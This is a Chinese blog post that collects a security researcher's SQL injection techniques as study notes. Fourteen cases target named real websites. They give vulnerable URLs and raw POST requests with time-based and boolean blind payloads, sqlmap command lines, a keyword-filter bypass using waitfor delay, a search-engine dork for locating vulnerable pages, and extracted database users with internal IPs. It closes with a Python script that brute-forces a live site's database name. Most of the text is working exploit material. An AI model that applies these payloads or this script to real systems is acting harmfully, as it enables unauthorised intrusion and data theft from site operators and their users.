A-A+

WooYun→小川→漏洞利用方式总结(入侵技术总结)

2015年03月07日 13:56 学习笔记 暂无评论 共8804字 (阅读3,410 views次)

【注意:此文章为博主原创文章!转载需注意,请带原文链接,至少也要是txt格式!】

乌云WooYun白帽子小川的个人地址是:http://www.wooyun.org/whitehats/%E5%B0%8F%E5%B7%9D

这里我的这篇文章会持续更新他个人对漏洞的发现及利用方式精华的总结。方便学习。【持续更新】%20=空格

 

自己找的某站

http://px.xxx.com/news.php?con=88 and if(length(database())-6,benchmark(3000000,sha1(1)),1)   判断数据库长度,如果长度对了,则无延迟加载,如果长度不对,则出现延时。这里如果可以用=号则可以改为length(database())-6=0 ,如果等于0的为真出现延时,否则不出现延时(这种方式只有正确了才出现延时)。


http://px.xxx.com/news.php?contentid=88  and if(ascii(substr(database(),1,1))=101,benchmark(3000000,sha1(1)),1)

词句是判断数据库中的字符,第一个,如果等于ascii十进制,如果成立则,出现延时,如果失败则不出现延时


if(ascii(substring(@@version,1,1))=10) waitfor delay '0:0:10' --
aaa'XOR(if(ascii(mid(lower(database()),4,1))=116,sleep(3),0))OR'bbb

【1】、
http://vip.game.pps.tv/index.php?r=lottery/fengyunwushang/fywslaba/getgiftlist&user_id=1 and 1=1
这里加入单引号后会返回错误500。所以没有加入单引号

 

【2】、


POST http://shop.9you.com/cart/info HTTP/1.1
Host: shop.9you.com
Connection: keep-alive
Content-Length: 46
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://shop.9you.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://shop.9you.com/cart/index
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: cookie已经被隐藏
cart_type=mb&item_key[]=ouak6v3z1447067466* //注入点后面已经加*标记。

在测试开始,注入点处加入' or '1'='1 返回大小5764字节, 然后换成' or '1'='2 返回大小5864,然后直接使用SQLMAP跑数据,结果跑不出来,存在注入' or '1'='2的时候会多一个隐藏标签,对比1那个就多几个字符。
延时注入判定则是:' AND (SELECT * FROM (SELECT(SLEEP(5)))zaCE) AND 'bzJZ'='bzsJZ
然后sqlmap.py -r 1.txt --dbs --dbms=mysql --string="ouak6v3z1447067466" 后面的string承接的是多的字符,这样SQLMAP就可以识别了。
【3】、
http://uhg.9you.com:80/vip/mall/index/game_id/76.html
因为是伪静态,在测试的时候,首先http://uhg.9you.com:80/vip/mall/index/game_id/76-1.html 测试可以访问,无问题,直接放入SQLMAP跑数据。
sqlmap.py -u "http://uhg.9you.com:80/vip/mall/index/game_id/76*.html" --dbs --dbms=mysql 伪静态是在觉得有注入的地方放入*(星号)。
【4】、


POST http://www.ganji.com/trading/refresh/select.php?vaction=detail HTTP/1.1
Host: www.ganji.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie:asdfasdf //这里COOKIE已经删掉了
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 362
count=96&dianjing_id=1' and 1=1* or '1'='1&is_renew=1&source=uc_account&city_id=&major_id=&isUserDefinePirce=&zhifubaosaoma=&isPermitAcitivity=&post_id=&puid=&youhui_code=11&js_click=400&category_id=14&pcActivity=&renew_value={"count":96,"text":"90点","discount":0.85,"default":true,"zengsongcount":6,"oldcount":90,"cost_price":90,"price":77,"avg":0.8,"service_save":19}

这里注意上面dianjing_id的参数是存在注入的,如果输入1' and 1=1 or '1'='1返回正常,如果输入1' and 1=1 or '1'='2返回错误,上面加*意思为让SQLMAP检测这里,最后要加一个--technique=B 代表B: Boolean-based blind SQL injection(布尔型注入),为了防止SQLMAP延迟注入拖延时间。
【5】、
http://comment.aili.com/index.php?a=getC&oid=%df' or sleep(10)%23&m=comments
注意,这里是宽字符注入,我们可以保留%df'%23,然后在到SQLMAP里去跑,这样SQLMAP识别进行爆库了。最终样式在SQLMAP里的样式:http://comment.aili.com/index.php?a=getC&oid=123%df'*%23&m=comments 这里要注意'哦。
【6】、
http://3g.home.xywy.com/group.php?themeid=705945&type=pubthemesuccess&pinyinGroup=gongjingmilan%df' or 1=1%23
返回正常
http://3g.home.xywy.com/group.php?themeid=705945&type=pubthemesuccess&pinyinGroup=gongjingmilan%df' or 1=2%23
返回404 表示宽字节注入。
【7】、


http://api.49you.com/game/shop/getMyReward?callback=apiShopMyReward&user_id=6021090&user_name=wctest

判断注入处:http://api.49you.com/game/shop/getMyReward?callback=apiShopMyReward&user_id=6021090 or sleep(10)&user_name=wctest
会出现延迟,则可能有注入。但是需要进一步的判断。


http://api.49you.com/game/shop/getMyReward?callback=apiShopMyReward&user_id=6021090 or if(true,benchmark(4000000,sha1(1)),1)&user_name=wctest

上面的正确出现延迟


http://api.49you.com/game/shop/getMyReward?callback=apiShopMyReward&user_id=6021090 or if(false,benchmark(4000000,sha1(1)),1)&user_name=wctest

上面的连接为假,则不出现延迟。
上面的连接不支持大于、小于、等于等等符号,如果出现则跳转到首页。其实没有这些运算符也是可以的,在IF语句中的第一个参数,不为0的话,也是可以执行后面的函数,思路就是这样,ascii运算出字符对应的ascii的数字值,不断的减法,直到请求不出现延迟为止。
最终:http://api.49you.com/game/shop/getMyReward?callback=apiShopMyReward&user_id=6021090 or if(length(database())-8,benchmark(4000000,sha1(1)),1)&user_name=wctest 不出现延时,说明数据库长度为8个字符。其实根据上面的真假判断也很好理解了。length(database())-8 这行代码,length(database())是表示数据库长度数值,比如数据库长度是9,则9-8等于1,表示真(负值也表示真),对比上面的理解,只要猜对了,数据库长度减我们的值为零,则会出现延迟,所以数据库的长度就是这个长度。
【8】、


http://www.fengbuy.com/productcomment/comment/getProductScore/?ids=8191 and length(user())=22 and BENCHMARK(600000,SHA1(1))&_=1433931716592

如果在上诉注入处填入and sleep(1)会出现长时间延迟,而且无法发送请求,所以使用BENCHMARK。
【9】、
http://g.feng.com/user-userCenter-user_uid-9168527'.html
此页面加了一个单引号,出现错误,并非出现404,则表示有注入可能。(要注意区分404和错误页面,也就是head信息)
http://g.feng.com/user-userCenter-user_uid-9168527 or if(length(database())<7,sleep(1),1).html
注入 or if(length(database())<5,sleep(1),1) 则请求能正常发送过去
注入 or if(length(database())<7,sleep(1),1) 则请求则出现较长的延时,说明数据库长度为6
【10】、
POST
http://astro.wap.ifeng.com/dlist.aspx
word=33
此提交函数word有注入,加一个单引号'后会提示[字符串'))'后的引号不完整。'))'附近有语法错误]
但是有waf保护,and,or,select,updat,create,drop,delete,insert,空格,substring,exec……全过滤了,只要带这些关键词都会跳到首页。
经过不懈努力,终于用/**/代替空格,使用waitfor delay终于使请求延迟了。
代码:word=33'));waitfor/**/delay/**/'0:0:8'/**/--
最终先判断数据库长度:
word=33'));if(len(db_name())=12)waitfor/**/delay/**/'0:0:2'/**/--
判断长度后继续判断数据库名字:
word=33'));if(left(db_name(),1)='d')waitfor/**/delay/**/'0:0:8'/**/-- (这里很多时候数据库对应的字符可以考虑配合ascii码表,这里出现延时,表示猜对)
word=33'));if(left(lower(db_name()),2)='db')waitfor/**/delay/**/'0:0:8'/**/-- (这里很多时候数据库对应的字符可以考虑配合ascii码表)
word=33'));if(left(lower(db_name()),3)='db_')waitfor/**/delay/**/'0:0:8'/**/-- (这里很多时候数据库对应的字符可以考虑配合ascii码表)
word=33'));if(left(lower(db_name()),12)='db_aqiooplat')waitfor/**/delay/**/'0:0:8'/**/--
【11】、


http://bbs.auto.ifeng.com/api/ifeng_tui.php?m=index&a=pass&id=if(length((select count(*) from uc_members))=7,sleep(3),1)

查询数据表uc_members的长度,如果正好等于那么为真,出现延时。也就是7位数
http://bbs.auto.ifeng.com/api/ifeng_tui.php?m=index&a=pass&id=if(ascii(substr((select count(*) from ifeng_common_member),1,1))=49,sleep(3),1)
这里解释一下上面的语句。
if(ascii(substr((select count(*) from ifeng_common_member),1,1))=50,sleep(3),1)
首先(select count(*) from ifeng_common_member)表示查询用户数量。假设这个查询结果为1179035
则语句为substr((1279035),1,1)等于substr((1279035),1,1),如果要是字符串,需要双引号或单引号 示例echo substr("Hello world",0,1); 结果为H ~~示例echo substr("Hello world",1,1); 结果为e
。。。。这里就表示输出第二位的数值。要记得substr第一个是0位,然后1位。
ascii(substr((1279035),1,1))等于ascii(2),意思为把数值2变为十进制。ascii的2,如果转换成十进制则是50.则此判断IF语句成立,则会执行后面的延时。
-------------------普及知识-------------------------
substr() 函数返回字符串的一部分。
substr(string,start,length)
string:要截取的字符串
start:
正数 - 在字符串的指定位置开始
负数 - 在从字符串结尾的指定位置开始
0 - 在字符串中的第一个字符处开始
length:
可选。规定要返回的字符串长度。默认是直到字符串的结尾。
正数 - 从 start 参数所在的位置返回
负数 - 从字符串末端返回
-------------------普及知识-------------------------
【12】、
最先直接加一个延迟测试 and sleep(10) 看看是否正确
http://v.youmi.cn/profile/active/?uid=6152338 and length(user())=1 and sleep(10) //错误不出现延时
http://v.youmi.cn/profile/active/?uid=6152338 and length(user())=1 and sleep(10) //错误不出现延时
…………
http://v.youmi.cn/profile/active/?uid=6152338 and length(user())=26 and sleep(10) //正确出现延时
判断数据库用户长度,如果长度正确,则出现延时。
http://v.youmi.cn/profile/active/?uid=6152338 and ascii(substr(user(),0,1))=99 and sleep(10) //判断数据用户第一位,99 ,, 意思判断ascii(c)是否等于十进制99
http://v.youmi.cn/profile/active/?uid=6152338 and ascii(substr(user(),1,1))=111 and sleep(10)
…………
http://v.youmi.cn/profile/active/?uid=6152338 and ascii(substr(user(),19,1))=46 and sleep(10)
最终数据库名为:comm_online@192.168.19.166
【13】、
http://home.focus.cn/elite/mybbs.php?dir_name=houyong&page=157
具体如何找到这个有漏洞的网站呢,主要是这样,根据别人曾经举报过这个带elite的目录有漏洞,那么说明这个目录是脆弱的,咱们可以通过搜索引擎,然后外加排除法,找到这个目录里所有的脆弱信息。具体是这样的。
site:focus.cn inurl:elite -msglist -elitegroup.php -article_index.php -elite_list.php -myarticle1.php -elite_list_art.php
搜索上诉经过过滤的内容,然后找到了注入点。
【14】、
http://zq.17173.com/sc2/replay/view.php?id=430
为测验是否存在注入结尾加入:空格and sleep(5) 结果证明为延时注入
先确认数据库用户长度:http://zq.17173.com/sc2/replay/view.php?id=430 and length(user())=18 and sleep(5)
最终确认长度等于18,接下来确认数据库名称:
http://zq.17173.com/sc2/replay/view.php?id=430 and (select ASCII(SUBSTR(user(),1,1)))=122 and sleep(5)
http://zq.17173.com/sc2/replay/view.php?id=430 and (select ASCII(SUBSTR(user(),2,1)))=113 and sleep(5)
…………
结尾判断数据库为:zquser@10.59.67.88
下面是小川写的部分代码,因为有部分挡住所以无法查看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#encoding=utf-8
import httplib
import time
import string
import sys
import random
import urllib
 
headers = {'Content-Type': 'application/x-www-form-urlencoded',
           'User-Agent': 'Googlebot/2.1 (+http://www.googlebot.com/bot.html)',}
 
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
print '[%s] Start to retrive MySQL User:' % time.strftime('%H:%M:%S', time.localtime())
user = ''
 
for i in range(1, 8):
    for payload in payloads:
        s = 'ascii(mid(database()from(%s)for(1)))=%s' % (i, ord(payload))
        s = "/about.php?id=1&lanmu=(benchmark(10000000*(" + s + "),md5(123)))"
        conn = httplib.HTTPConnection('www.hrbeupress.com', timeout=30)
        conn.request(method='GET', url=s, headers=headers)
        start_time = time.time()
        html_doc = conn.getresponse().read()
        conn.close()
        print '.',
        if time.time() - start_time > 4.0:
            user += payload
            print '\n[in progress]', user,
            break
 
print '\n[Done] MySQL user is %s' % user

布施恩德可便相知重

微信扫一扫打赏

支付宝扫一扫打赏

×

给我留言